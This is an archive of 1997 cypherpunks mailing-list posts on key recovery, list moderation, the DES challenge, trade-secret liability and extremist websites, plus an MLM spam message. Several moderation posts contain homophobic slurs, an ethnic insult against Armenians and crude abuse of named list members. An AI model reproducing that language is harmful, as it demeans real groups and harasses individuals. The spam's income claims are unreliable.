> > To me, Key Recovery cryptography is like using a condom with a
> > hole in it. No thanks.

> Actually, on microscopical level *all* condoms have holes in them;
> the holes are just small enough for you not to worry bout it. The same
> applies to (good!) Key Recovery cryptography: there are holes but not
> big enough for you to worry about!

Not worry?  Really?  What about those pesky little virii that are
*much* smaller than the holes in the condoms?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ares GodOfWar <ares@imaginet-us.net>
Date: Thu, 9 Jan 1997 05:25:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: SafePassage
Message-ID: <32D4F0D2.5DB6@imaginet-us.net>
MIME-Version: 1.0
Content-Type: text/plain


does anyone happen to have a copy of safepassage, the web proxy layin
around??? i am in a big bind & i need it ;]




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Barnes <rbarnes@gil.com.au>
Date: Wed, 8 Jan 1997 14:53:31 -0800 (PST)
To: "'dlv@bwalk.dm.com>
Subject: RE: The FAGGOT list
Message-ID: <c=AU%a=_%p=Tritronics_.Aust%l=TRI_NT5-970108225257Z-13@net.tritro.com.au>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
>Brett Carswell <brettc@tritro.com.au> writes:
>> Could someone please forward me the URL of the FAGGOT (are the caps
>> manditory?) detecting software for mailing lists. I feel pretty left out
>> as almost everyone else know who the FAGGOTS are. Is this the same
>> software that detects Cocksuckers or does Dr Dimitri have something of
>> his own. Maybe we could all band together and come up with something
>> that detects Nazi moderators as well.
>
>Everyone who spoke up in favor of moderation is a faggot tentacle.
So does this mean that when you say "faggot" you mean
"a person with views different to your own" rather than
"a male homosexual" or "a bundle of wood, used for fuel"?
>
>I hope this helps.
I think not, a code sample from a "faggbot" would be more
helpful than a rule of thumb.

>Rob Barnes




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Eric Verheul" <everheul@mail.rijnhaave.nl>
Date: Wed, 8 Jan 1997 23:42:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IBM Key Recovery Propaganda on United Airlines
Message-ID: <199701090741.IAA28828@mail.rijnhaave.nl>
MIME-Version: 1.0
Content-Type: text/plain


>   To me, Key Recovery cryptography is like using a condom with a
> hole in it. No thanks.
Actually, on microscopical level *all* condoms have holes in them; 
the holes are just small enough for you not to worry bout it. The same 
applies to (good!) Key Recovery cryptography: there are holes but not 
big enough for you to worry about!
> 
> Toto
> 
Eric


//My life-time-emailadress is Eric.Verheul@pobox.com
//Use this when emails start bouncing when I have
//switched to my next (inadequate) Internet-provider




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 9 Jan 1997 08:33:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <199701090118.TAA27824@manifold.algebra.com>
Message-ID: <V9q0ZD2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Black Unicorn wrote:
> > 
> > On Wed, 8 Jan 1997, Sandy Sandfort wrote:
> > 
> > > C'punks,
> > > 
> > > On Sun, 5 Jan 1997, Black Unicorn wrote:
> > > 
> > > > How will borderline posts be dealt with?  Posts that contain a great de
> > > > of content and thoughful discussion and still manage to contain flames?
> > > > 
> > > > Will flames be an automatic boot for a post (zero tolerance), or will t
> > > > be balanced against post content?
> > > 
> > > Zero tolerance will be my first approximation.  I may modify 
> > > that as I see how things really work out.  So far, though, I
> > > don't recall see any of those "high content with flames" animals.
> > > Most posts are one or the other.
> > 
> > Haven't you been reading my stuff?
> > 
> 
> Indeed, I suggest a zero tolerance policy for posts of Prof. Black 
> Unicorn where content is mixed with flames.
> 
> 	- Igor.

I suggest zero tolerance of Black Unicorn unless and until someone
reveals his real name.

ObModeratorFodder: Fuck the Armenians. Asshole censor John Gilmore
likes to suck big dicks.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mullen Patrick" <Mullen.Patrick@mail.ndhm.gtegsc.com>
Date: Thu, 9 Jan 1997 07:13:23 -0800 (PST)
To: "Cypherpunks" <cypherpunks@toad.com>
Subject: RE: New Release: Universal Data Cryptography Module V2.0
Message-ID: <n1359317601.20305@mail.ndhm.gtegsc.com>
MIME-Version: 1.0
Content-Type: text/plain


_______________________________________________________________________________
From: Black Unicorn on Thu, Jan 9, 1997 6:10

>On Wed, 8 Jan 1997 DataETRsch@aol.com wrote:
>
>> Integrated Mathematical Data Manipulation and Positioning. Extensive
research
>> shows that IMDMP is more advanced than DES, RSA, IDEA, and PGP.
>
>What research?
>What is "extensive?"
>What is "more advanced?"


Paraphrasing a glossary of Comp-Sci terms I received in email, and using it 
to translate the second sentence above "Extensive research . . . PGP.":

After trying unsuccessfully to get the damned thing to work for a very long
time, we finally got it to work.  Now it's so patched up we can't figure out
what it's doing.

PM




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: serw30@laf.cioe.com
Date: Thu, 9 Jan 1997 07:02:45 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Moderation and the Polymorphic Virus
Message-ID: <199701091505.KAA02069@laf.cioe.com>
MIME-Version: 1.0
Content-Type: text/plain


> To:            cypherpunks@toad.com

> serw30@laf.cioe.com writes:
> >  Yes, lets create polymorphic viruses and CPU cycle stealing Java 
> > applets. Maybe even a new and improved Internet worm...
>
Dr.Dimitri Vulis KOTM writes: 
> "Cypher punks" can't write any code - be it mail filters, viruses, or crypto.
> 
Aw,  surely "Cypher punks" can write some sort of code. Batch files, 
Macros for Word, programs for  Logo or Turtle graphics, tell me it 
isn't so!   
Eric




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Butler, Scott" <SButler@chemson.com>
Date: Thu, 9 Jan 1997 01:56:35 -0800 (PST)
To: "'IMCEAX400-c=GB+3Ba=+20+3Bp=CHEMSON+3Bo=CSH+3Bdda+3ASMTP=Cypherpunks+40toad+2Ecom+3B@chemson.com>
Subject: A vote of confidence for Sanderson.
Message-ID: <c=GB%a=_%p=CHEMSON%l=CSH_NT0-970109100036Z-508@csa-ntx.chemson.com>
MIME-Version: 1.0
Content-Type: text/plain


After reading all of these people babbling on about giving a vote of
confidence for Sandy I decided that I should also.

I have full confidence in Sandy:-)

(Well it normally works over here in the U.K...if a football manager
receives a vote of confidence from the board of directors it is a
foregone conclusion that his resignation will be handed in or his P45
will be handed out within days!)

Scott





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 9 Jan 1997 08:11:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: IBM Opens Bin
Message-ID: <1.5.4.32.19970109160641.008b743c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


IBM announced today that it will make available free 
to the public its vast bin of 2 million US patents formerly 
accessible only to its own engineers and attorneys:

   http://patent.womplex.ibm.com/

   Welcome to the IBM Patent Server. With this World Wide
   Web server, IBM lets you access over 26 years of U.S.
   Patent & Trademark Office (USPTO) patent descriptions
   as well as the last ten years of images. The first entries date
   back to January 5, 1971. You can search, retrieve and study
   over two million patents.

NYT has a report about it: www.nytimes.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 9 Jan 1997 08:11:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crypto Punch
Message-ID: <1.5.4.32.19970109160701.00882fc8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Punch in "cryptography" at the IBM patent site and
ogle: you won't believe your oozing orbs.

   http://patent.womplex.ibm.com/

Then try other bell-ringers of this punch-drunk ring.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Z.B." <zachb@netcom.com>
Date: Thu, 9 Jan 1997 11:49:26 -0800 (PST)
To: Stephen Boursy <boursy@earthlink.net>
Subject: Re: [STATS] Cypherpunks subscriptions on and off
In-Reply-To: <32D4E3B1.2B54@earthlink.net>
Message-ID: <Pine.3.89.9701091121.A2331-0100000@netcom3>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 9 Jan 1997, Stephen Boursy wrote:

> Dr.Dimitri Vulis KOTM wrote:
> > 
> > Dave Hayes <dave@kachina.jetcafe.org> writes:
> > 
> >> Black Unicorn writes:
> >>
> >> > More fear from Mr. Thorn that his own time in the spotlight might be
> >> > drawing to a close.  God forbid his captive audience might vanish.
> >>
> >> Tell me, how can an audience be captive when they control the "delete"
> >> key?
[snip]
> > 
> > 
> > P.S. They lie about their killfiles, of course - Ray Arachelian,
> > Paul Bradley, et al follow up on everything posted by the people
> > they claim to have killfiled! Their follow-ups are obsessive and
> > repetitive: "I've *plonked* you, so I have the last word, nyah
> > nyah". And the next day they reply to the same people they claim
> > to be ignoring.
> > 
> 
>   Those who publically *plonk* always lie from my experiences--they
> are dishonest people.  Most who publically killfile not only still
> read you but they are already obsessed with you and follow your
> every word--their sole goal (and this is the sad part about their
> lives) is to try to prevent others from reading your words.
> 
>                            Steve
> 
Not necessarily, Steve - some people plonk others by filtering their mail 
to a folder called "trash" or "crap-messages" or whatever, so they don't 
have to read them at the same time they read the rest of their messages.  
Then they go through the trash folder later on just to see if they threw out 
anything that they shouldn't have, see the messages by the people they 
killfiled, and reply to some of them.  They HAVE plonked the person, but 
they can still read and reply to the plonked messages if they choose.  

IMO, this is a better way to killfile than redirecting everything to 
/dev/null, because if someone has a history of violently flaming whatever 
you say (like some people on this list who shall remain nameless), you don't 
have to read their flames at the same time with the rest of the mail, but 
still have the option of reading and replying to them later on if you so 
choose.  



Zach Babayco 

zachb@netcom.com <-------finger for PGP public key

If you need to know how to set up a mail filter or defend against 
emailbombs, send me a message with the words "get helpfile" (without the 
" marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!*  I have 
several useful FAQs and documents available.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 9 Jan 1997 10:33:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IBM Key Recovery Propaganda on United Airlines
In-Reply-To: <199701091007.EAA05240@mailhub.amaranth.com>
Message-ID: <y7V0ZD1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"William H. Geiger III" <whgiii@amaranth.com> writes:

> Well I guess I will not need to worry about them since I will never run any G
> reguardless how may laws the jackboots in DC pass.

That's from the same guy who endorses censorship on this mailing list...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 9 Jan 1997 10:34:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: "Cypher punks" can't write code
In-Reply-To: <199701091505.KAA02069@laf.cioe.com>
Message-ID: <cew0ZD2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


serw30@laf.cioe.com writes:

> > serw30@laf.cioe.com writes:
> > >  Yes, lets create polymorphic viruses and CPU cycle stealing Java 
> > > applets. Maybe even a new and improved Internet worm...
> >
> Dr.Dimitri Vulis KOTM writes: 
> > "Cypher punks" can't write any code - be it mail filters, viruses, or crypt
> > 
> Aw,  surely "Cypher punks" can write some sort of code. Batch files, 
> Macros for Word, programs for  Logo or Turtle graphics, tell me it 
> isn't so!   
> Eric

It isn't so.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Thu, 9 Jan 1997 12:20:00 -0800 (PST)
To: fod@brd.ie
Subject: Re: [IDEA] Cypherpunks Super Computer (was Re: The Upcoming DES Challenge)
Message-ID: <199701092014.MAA00701@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


From: "Frank O'Dwyer" <fod@brd.ie>
> However, what if there was a safe scripting language with bignum
> arithmetic and other cryptographic primitives, and what if
> lots of people ran a service that would accept scripts in 
> that language and respond with the answer?  Say, a Safe-TCL 
> interface to Peter Gutmann's cryptlib, running at idle 
> priority?  Sort of like a distributed batch queue, and also 
> a bit like the way jobs are (were?) submitted to Crays.  The 
> Cypherpunks Super Computer. It need not be significantly slower 
> than raw code if the primitives are high level enough.

A few years ago I coded up a TCL interface to Pr0duct Cypher's
PGPTOOLS library.  It did bignum arithmetic from the command line,
and also let you use MD5 and IDEA on files and buffers.  Unfortunately
I had a major disk crash and was never able to recover my last version,
and I never got back to it.

Safe-TCL has never gotten the scrutiny of Java, but IMO if it ever
does it will be found to suffer from its own flaws.  At this point
I think Java is farther along the path to safety.

I do like the idea of a widely available, installed, crypto-capable
scripting language.  This would be an ideal basis for trying out new
crypto protocols and algorithms, without having to write a whole program
from scratch.  We have been talking about setting up DC nets for years,
for example.  The concept is so simple as to be almost trivial.  But
the infrastructure is the hard part - dealing with the I/O issues, the
multiple architectures, all the configuration issues.

I suspect that Java, when it gets its security API, may be a good
candidate for this kind of system.  It's already got high level socket
I/O, and with a bignum package and some basic crypto primitives like
one way functions, you could do a lot with it.  You still have the
problem of trading off safety for utility, though.

Hal




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Thu, 9 Jan 1997 12:19:59 -0800 (PST)
To: fod@brd.ie
Subject: Re: [IDEA] Cypherpunks Super Computer (was Re: The Upcoming DES Challenge)
Message-ID: <199701092015.MAA00707@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


[Sorry if this is a re-post...]

From: "Frank O'Dwyer" <fod@brd.ie>
> However, what if there was a safe scripting language with bignum
> arithmetic and other cryptographic primitives, and what if
> lots of people ran a service that would accept scripts in 
> that language and respond with the answer?  Say, a Safe-TCL 
> interface to Peter Gutmann's cryptlib, running at idle 
> priority?  Sort of like a distributed batch queue, and also 
> a bit like the way jobs are (were?) submitted to Crays.  The 
> Cypherpunks Super Computer. It need not be significantly slower 
> than raw code if the primitives are high level enough.

A few years ago I coded up a TCL interface to Pr0duct Cypher's
PGPTOOLS library.  It did bignum arithmetic from the command line,
and also let you use MD5 and IDEA on files and buffers.  Unfortunately
I had a major disk crash and was never able to recover my last version,
and I never got back to it.

Safe-TCL has never gotten the scrutiny of Java, but IMO if it ever
does it will be found to suffer from its own flaws.  At this point
I think Java is farther along the path to safety.

I do like the idea of a widely available, installed, crypto-capable
scripting language.  This would be an ideal basis for trying out new
crypto protocols and algorithms, without having to write a whole program
from scratch.  We have been talking about setting up DC nets for years,
for example.  The concept is so simple as to be almost trivial.  But
the infrastructure is the hard part - dealing with the I/O issues, the
multiple architectures, all the configuration issues.

I suspect that Java, when it gets its security API, may be a good
candidate for this kind of system.  It's already got high level socket
I/O, and with a bignum package and some basic crypto primitives like
one way functions, you could do a lot with it.  You still have the
problem of trading off safety for utility, though.

Hal




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Thu, 9 Jan 1997 09:42:07 -0800 (PST)
To: cypherpunks mailing list <cypherpunks@toad.com>
Subject: SSL Insecurity
Message-ID: <3.0.32.19970109124118.00920db0@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


A while back, someone posted an article on the insecurity of Netscape's
implementation of SSL.  Can someone send me back that article, or a few
pointers as to where I can find related information?

Thanks,
Rick


Rick Osborne / osborne@gateway.grumman.com / Northrop Grumman Corporation
-------------------------------------------------------------------------
"Get that finger out of your ear! You don't know where that finger's
been!" 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sls123@prodigy.net
Date: Thu, 9 Jan 1997 10:25:59 -0800 (PST)
Subject: Let you know!!
Message-ID: <199701091823.NAA80912@mail1y-int.prodigy.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

Please forgive me for this e-mail, but I felt I just had to let more
people know about this and get in on the ground floor!

If you don't want to read it, please type "REMOVE" in the subject line.
I won't contact you again.

The program I am involved in incorporates "Spillover".  Spillover is
probably one of the best ideas ever developed for network marketing.
Here's why:  Anyone I sponsor after you, will probably be placed under
you.  You then earn commissions on these new people as if you had
signed them up!  Why?  The way the program works I am trying to fill
my downline and I can only have so many people on each level.  After a
given level is full, anyone else I sponsor "spills over" to the next
level.  This is where they start getting placed under you.  So you
see, it doesn't matter if you sign them up or I do, in the end the
result is the same.                   

I just signed up Monday and I already have 10 members in my downline,
just from SPILLOVER!  

        Nest Egg is in pre-Launch until April 1st, 1997

             * You will receive check each month *
                      * Free Sign Up! *
       
The program just started, in fact it has less than 550 members.  This
IS the ground floor!  The company is advertising in several major
print publications next month!  I have been in several MLM's and I can
finally say; "This is the one I've been looking for!"  If you know
what it's like to lose sleep because your so exited, email me NOW!

Don't miss this opportunity, email me for URL & sponsor information. 

Thanks,
Mark






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick May <pjm@spe.com>
Date: Thu, 9 Jan 1997 14:07:52 -0800 (PST)
To: Dan Geer <geer@OpenMarket.com>
Subject: Re: The Upcoming DES Challenge
In-Reply-To: <85263054520588@cs26.cs.auckland.ac.nz>
Message-ID: <199701092146.NAA02693@gulch.spe.com>
MIME-Version: 1.0
Content-Type: text/plain


Dan Geer writes:
 > 
 >     I'm still a bit nervous about what the reaction will be though
 >     - won't the US government (and anyone else pushing DES) be able
 >     to say "It took 10,000 Pentiums several weeks, noone would
 >     bother doing that, so it's safe"...
 > 
 > this seems a good moment to remind ourselves
 > that we will never know as much about another
 > cipher as we know about DES.
 > 
 > ipso facto, i'd like to simply use the efficiency
 > of price discovery by auction and see what I can
 > buy the DES-key-of-your-choice for.  my bet: there
 > are a lot of interesting DES keys available for
 > less than $10K

     This is an excellent idea.  Do the rules of RSA's challenge allow
for bribing the holder of the contest keys?  What a headline --

          "DES Challenge Broken In 15 Minutes"

Then there's the rubber hose method....

Patrick May
(who does not advocate the initiation of force for a mere $10k)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Thu, 9 Jan 1997 13:45:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: SSL Insecurity
In-Reply-To: <3.0.32.19970109124118.00920db0@gateway.grumman.com>
Message-ID: <32D567A5.794B@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain


Rick Osborne wrote:
> 
> A while back, someone posted an article on the insecurity of
> Netscape's implementation of SSL.  Can someone send me back that
> article, or a few pointers as to where I can find related information?

As far as I know, all holes in our SSL implementation were fixed long
ago.  If anyone knows of any that still exist, I'd love to hear about
them.

-- 
You should only break rules of style if you can    | Tom Weinstein
coherently explain what you gain by so doing.      | tomw@netscape.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@cow.net>
Date: Thu, 9 Jan 1997 11:06:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <9701091849.AA20178@cow.net>
MIME-Version: 1.0
Content-Type: text/plain


A warning label ought to be tattooed on Tim C. May's 
head, saying `Warning: shit content under pressure'.

          o-:^>___? Tim C. May
          `~~c--^c'





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Thu, 9 Jan 1997 14:29:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
In-Reply-To: <Pine.GSO.3.95.970107184550.4939C-100000@well.com>
Message-ID: <32D570EC.2E33@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> 
> ---------- Forwarded message ----------
> Date: Tue, 7 Jan 1997 18:44:07 -0800 (PST)
> From: Declan McCullagh <declan@well.com>
> To: fight-censorship@vorlon.mit.edu
> Subject: If guilty of a lesser crime, you can be sentenced for a greater

Hmm. Thanks for keeping the list on-topic.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@c2.net>
Date: Thu, 9 Jan 1997 15:21:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Trade secrets / moderator liability
Message-ID: <3.0.32.19970109151839.006b554c@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain



As reported by Michael Froomkin's correspondent, the Uniform Trade Secrets
Act <http://www.execpc.com/~mhallign/usta.html> (enacted with local
modifications in, as I understand it, 40 states, among them California)
says that third parties may be held liable for misappropriation of a trade
secret where the third party knows or has reason to know that they are
doing so.

For example, California Civil Code section 3426.3 says:

3426.3.(a) A complainant may recover damages for the actual loss caused by
misappropriation.  A complainant also may recover for the unjust enrichment
caused by misappropriation that is not taken into account in computing
damages for actual loss.
   	(b) If neither damages nor unjust enrichment caused by misappropriation
are provable, the court may order payment of a reasonable royalty for no
longer than the period of time the use could have been prohibited.
	(c) If willful and malicious misappropriation exists, the court may award
exemplary damages in an amount not exceeding twice any award made under
subdivision (a) or (b).

And misappropriation is defined in California Civil Code section 3426(1)(b)
as:

(1) Acquisition of a trade secret of another by a person who knows or has
reason to know that the trade secret was acquired by improper means; or
(2) Disclosure or use of a trade secret of another without express or
implied consent by a person who:
   (A) Used improper means to acquire knowledge of the trade secret;
or
   (B) At the time of disclosure or use, knew or had reason to know that
his or her knowledge of the trade secret was:
   (i) Derived from or through a person who had utilized improper means to
acquire it;
   (ii) Acquired under circumstances giving rise to a duty to maintain its
secrecy or limit its use; or
   (iii) Derived from or through a person who owed a duty to the person
seeking relief to maintain its secrecy or limit its use; or
   (C) Before a material change of his or her position, knew or had reason
to know that it was a trade secret and that knowledge of it had been
acquired by accident or mistake.

My other concern about moderator liability for approving/distributing trade
secret material is in the criminal context. For example, the Economic
Espionage Act of 1996 (HR 3723, now found at 18 USC 1831 et seq,
<ftp://ftp.loc.gov/pub/thomas/c104/h3723.enr.txt> ) says that some trade
secret violations are now a federal crime; and California Penal Code
section 499c(b) also criminalizes some wrongful acts relating to trade
secrets. Specifically, I think it's feasible to find aiding & abetting
(and, more remotely, conspiracy) liability where a moderator knowingly and
substantially contributes to public disclosure of a trade secret. 

It seems to me that there's a murky middle period, where the trade secret
is known to some wrong people, but is still substantially a secret, where
third party liability is present. But once a wide distribution of the
secret is made, I don't think it's meaningful to talk about further
distribution as misappropriation. If there's no common-sense "it's no
longer a secret" safety valve, trade secret would provide time-unlimited
protection to publically available information, which I think would be
preempted by (or frustrate the purpose of) Congress' limited grants of
protection to information via patent and copyright. But this is only my
conjecture about how things ought to work, given the responsibilities
created for third parties by statutes like the UTSA; I don't know of cases
on this issue and given my work/bar review schedule, won't have time to
find them any time soon.

Also, as I mentioned in my previous message, I think there are good
arguments that neither of the prominent trade secret disclosures I'm
familiar with that have occurred (in part) via the list would create
moderator liability. I'm mentioning moderator liability (and writing what's
turning into a long message about it) not because I think it's an
especially big danger but because I think it's an interesting public policy
issue. 

I don't have the teeniest clue how other nations' laws might treat third
parties who assist or enable the wide dissemination of trade secret
materials. Perhaps other list members can offer a local perspective. 


--
Greg Broiles
gbroiles@c2.net
510-986-8779 voice
510-986-8777 fax




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@cow.net>
Date: Thu, 9 Jan 1997 12:41:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <9701092024.AA21298@cow.net>
MIME-Version: 1.0
Content-Type: text/plain


>
>The Path To Revolution
>
>You Don't Have To Be There To Experience It
>
>By Linton Weeks
>Washington Post Staff Writer
>Thursday, January 9 1997; Page C5
>The Washington Post 
>
>The computer is a revolutionary tool.
>
>It really is. Revolutionaries, counterrevolutionaries, 
>extremist groups, radical wings, separatist movements, 
>cults, and their critics and sympathizers are aswarm on 
>the Net. Never before have so many people had direct access 
>to information from every angle. It's like a teeming
>hive of Gutenbergs. 
>
>For instance, the Tupac Amaru Revolutionary Movement, 
>the Peruvian guerrillas who took hostages in the Japanese 
>embassy in Lima just before Christmas, has a Web presence. Its
>"Solidarity Page," with a link to the official Spanish-language 
>Tupac Amaru site in Europe, is nursed by a Toronto-based group 
>called Arm the Spirit.
>
>The solidarity page is touted on a more elaborate site 
>sponsored by the U.S. Committee to Support the Revolution in 
>Peru. Based in Berkeley, this committee sings the song of the
>Communist Party of Peru, also known as Shining Path.
>
>"Welcome to a real revolution in cyberspace!" reads the 
>Shining Path page. "We expose the lies about the 
>revolution put forward by the U.S.-backed Fujimori regime and 
>its apologists, while opposing U.S. and other foreign 
>intervention. We organize against the repression and
>terror directed at the revolution and the Peruvian people."
>
>Sinn Fein, the radical political wing of the Irish Republican 
>Army, the armed and rebellious Sri Lankan Liberation Tigers 
>of Tamil Eelam and a multitude of U.S.-based "Aryan"
>revolutionaries also have carefully designed Web sites. (Such 
>sites are so devoid of humor that it seems likely these people 
>really are who they say they are.)
>
>These are prime spots for unfiltered propaganda. Here in the 
>home of the free and the frenetic, the Net is protected by 
>the First Amendment and the wholesale distribution of
>political information -- the good, the bad, the ugly -- is as 
>old as Thanksgiving. Thomas Paine would have had an amazing home page.
>
>The Shining Path pages are elaborate. Various links highlight 
>"the crimes of the U.S.-backed Fujimori regime," list the 
>political prisoners in Peru, reprint the press releases of Shining 
>Path and Tupac Amaru and offer a gallery of incendiary souvenirs 
>you can buy -- leaflets, buttons, T-shirts and cassettes of 
>revolutionary music.
>
>The site also gives users a way to "hook up with, support 
>and/or join us." But it warns those interested not to use 
>e-mail, because U.S. government officials might be monitoring 
>it. "We encourage you to contact us by postal mail, phone or fax."
>
>"Terrorist fund-raising is illegal in this country," said one 
>U.S. State Department staffer who was reluctant to talk about 
>the government's monitoring of any Web pages. Speaking only on
>background, the staffer said that extremist Web sites are mostly 
>posted by U.S. citizens and are viewed as domestic material, 
>which is under the jurisdiction of the FBI and the Justice
>Department, both of which have Web sites.
>
>"There is genuine international concern that this information 
>is freely available -- and that it's legal," the staffer said. 
>
>John Russell of the Justice Department said, "There are First 
>Amendment considerations and there are legitimate law enforcement 
>concerns." The Justice Department, he said, would like
>"to find a legal and acceptable procedure" to discover who 
>is posting the information. He said several law enforcement 
>agencies, including the FBI, ATF and DEA, are planning a joint
>meeting soon to discuss the proliferation of such rabble-rousing pages.
>
>The Internet brings the far-flung complexities and dangers of the 
>world a little closer to home. The bright side is that most 
>people savvy enough to use the Internet may also be sophisticated
>enough to sort out the truth in the information supplied by 
>various groups such as Tupac Amaru, Sinn Fein and the Department of Justice. 
>
>GETTING THERE:
>Tupac Amaru at http://burn.ucsd.edu/~ats/mrta.htm
>Shining Path at http://www.calyx.com/~peruweb/csrp.htm
>Sinn Fein at http://www.irlnet.com/sinnfein
>Liberation Tigers of Tamil Eelam at http://www.eelam.com
>State Department at http://www.state.gov
>FBI at http://www.fbi.gov
>Department of Justice at http://www.usdoj.gov.
>
>(Source: The Washington Post, http://www.washingtonpost.com)
>
>----
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Douglas Barnes <cman@c2.net>
Date: Thu, 9 Jan 1997 15:47:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Key Escrow Good, GAK Bad
Message-ID: <3.0.32.19970109154528.00a89ec0@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain




This whole line of reasoning is exactly what the government
is preying on -- and it's working with a lot of people. However,
it's a red herring.

By and large, the government doesn't care about file-level
encryption, the sort where the Key Escrow systems you're 
outlining would be useful. Furthermore, this kind of encryption
can be done pretty much in isolation -- it's not a communication
medium, so it's less susceptible to attacks on standardization.

What the government is mostly concerned with is encryption that's
used for communicating, where there is no similar feeling on the
part of individuals or industry that something like key escrow
is needed. It is a classic bait-and-switch maneuver.

Furthermore, if people really wanted Key Escrow, the government
wouldn't have to be putting the thumbscrews to software companies
to get them to adopt it -- the market would perform this function
quite nicely.

FWIW,

Doug


At 04:31 PM 1/9/97 -0500, you wrote:
>>  To me, Key Recovery cryptography is like using a condom with a
>>hole in it. No thanks.
>
>I agree in principle, and I doubt I would ever use a key recovery system 
>if I had a choice.  But, speaking as a network manager, I know that 
>private key recovery (not GAK) can be an enhancement to security.  
>
>I'll give an example.  About a year ago, my boss wanted to protect his 
>file of annual financial projections for the company from prying eyes on 
>our Macintosh network.  I installed CurveEncrypt on his machine, showed 
>him how to use it, and gave him the standard lecture on choosing a good 
>passphrase.  I stressed that he needed to chose a passphrase easy to 
>remember, because if he forgot it, there was no way to get his file back.
>
>Well, he forgot his passphrase.  He spent an hour trying every 
>combination he could think of, interjecting a curse here and there for 
>color.  He is now totally off using encryption to protect sensitive 
>information.  He refuses to use it, and he discourages anyone in the 
>office from using it.  I know that his position is unfair, but he _is_ 
>the boss, so he makes the rules.  
>
>And he is a typical computer user.  If your average joe forgets his 
>passphrase and loses two days worth of work, he's not likely to encrypt 
>his work again.  (Or he's likely to write down his passphrase in the 
>future).  If we were using a Key Escrow system, this situation could have 
>been avoided.  Yes, using a key escrow system is less secure that using a 
>non-key escrow system, but I'd argue that using a strong key escrow 
>system is better than using no encryption at all in situations like this. 
> Our network is less secure that it could be because of one user's bad 
>experience.
>
>Ken
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: roy@sendai.scytale.com (Roy M. Silvernail)
